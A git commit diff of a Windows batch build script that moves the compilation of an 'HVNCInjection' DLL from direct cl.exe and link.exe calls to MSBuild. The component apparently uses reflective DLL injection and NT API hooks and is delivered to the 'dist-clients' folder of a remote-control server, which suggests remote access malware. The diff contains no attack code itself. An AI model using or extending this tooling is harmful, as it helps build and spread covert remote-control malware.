final change

This commit is contained in:
KingKDot
2026-03-12 00:53:18 -05:00
parent 76a10452b4
commit e8b6f9526d
+22 -40
View File
@@ -1,67 +1,49 @@
@echo off @echo off
setlocal EnableDelayedExpansion setlocal EnableDelayedExpansion
REM Build HVNCInjection DLL for Windows x64 using Visual Studio (cl.exe) REM Build HVNCInjection DLL for Windows x64 using MSBuild (vcxproj).
REM Run from VS Developer Command Prompt, or let the script detect vcvarsall. REM Run from VS Developer Command Prompt, or let the script detect VS.
set ROOT=%~dp0 set ROOT=%~dp0
set SRC_DIR=%ROOT%HVNCInjection\src set PROJ=%ROOT%HVNCInjection\HVNCInjection.vcxproj
set OUT_DIR=%ROOT%Overlord-Server\dist-clients set OUT_DIR=%ROOT%Overlord-Server\dist-clients
set CONFIG=Debug
set PLATFORM=x64
REM Try to set up MSVC environment if cl.exe is not available REM Locate MSBuild via vswhere if not already on PATH
where cl.exe >nul 2>&1 where msbuild.exe >nul 2>&1
if %ERRORLEVEL% neq 0 ( if %ERRORLEVEL% neq 0 (
echo cl.exe not found, searching for Visual Studio ... echo msbuild.exe not found, searching for Visual Studio ...
set "FOUND_VS=" set "FOUND_VS="
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do ( for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
set "VS_PATH=%%i" set "MSBUILD_PATH=%%i"
set "FOUND_VS=1" set "FOUND_VS=1"
) )
if not defined FOUND_VS ( if not defined FOUND_VS (
echo ERROR: Visual Studio with C++ tools not found. echo ERROR: Visual Studio with MSBuild not found.
echo Please run this from a VS Developer Command Prompt.
exit /b 1 exit /b 1
) )
echo Found VS at: !VS_PATH! echo Found MSBuild at: !MSBUILD_PATH!
call "!VS_PATH!\VC\Auxiliary\Build\vcvarsall.bat" x64
) )
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
set DEFS=/DWIN64 /DNDEBUG /D_WINDOWS /D_USRDLL /DHVNCInjection_EXPORTS /DWIN_X64 echo Building HVNCInjection.vcxproj [%CONFIG%^|%PLATFORM%] ...
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR if defined MSBUILD_PATH (
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
) else (
set CFLAGS=/O2 /Oi /GL /MT /GS- /W3 /TC %DEFS% /I "%SRC_DIR%" msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
)
echo Compiling ReflectiveLoader.c ...
cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveLoader.obj" "%SRC_DIR%\ReflectiveLoader.c"
if %ERRORLEVEL% neq 0 goto :error if %ERRORLEVEL% neq 0 goto :error
echo Compiling ReflectiveDll.c ... if not exist "%OUT_DIR%\HVNCInjection.x64.dll" (
cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveDll.obj" "%SRC_DIR%\ReflectiveDll.c" echo ERROR: DLL not found in output directory.
if %ERRORLEVEL% neq 0 goto :error goto :error
)
echo Compiling NtApiHooks.c ...
cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\NtApiHooks.obj" "%SRC_DIR%\NtApiHooks.c"
if %ERRORLEVEL% neq 0 goto :error
echo Linking HVNCInjection.x64.dll ...
link.exe /DLL /OUT:"%OUT_DIR%\HVNCInjection.x64.dll" ^
/SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /MACHINE:X64 ^
/LIBPATH:"%SRC_DIR%" ^
"%SRC_DIR%\ReflectiveLoader.obj" ^
"%SRC_DIR%\ReflectiveDll.obj" ^
"%SRC_DIR%\NtApiHooks.obj" ^
libMinHook.x64.lib kernel32.lib user32.lib advapi32.lib ntdll.lib
if %ERRORLEVEL% neq 0 goto :error
echo. echo.
echo Built: %OUT_DIR%\HVNCInjection.x64.dll echo Built: %OUT_DIR%\HVNCInjection.x64.dll
dir "%OUT_DIR%\HVNCInjection.x64.dll" dir "%OUT_DIR%\HVNCInjection.x64.dll"
REM Clean up
del /q "%SRC_DIR%\*.obj" 2>nul
echo Done. echo Done.
exit /b 0 exit /b 0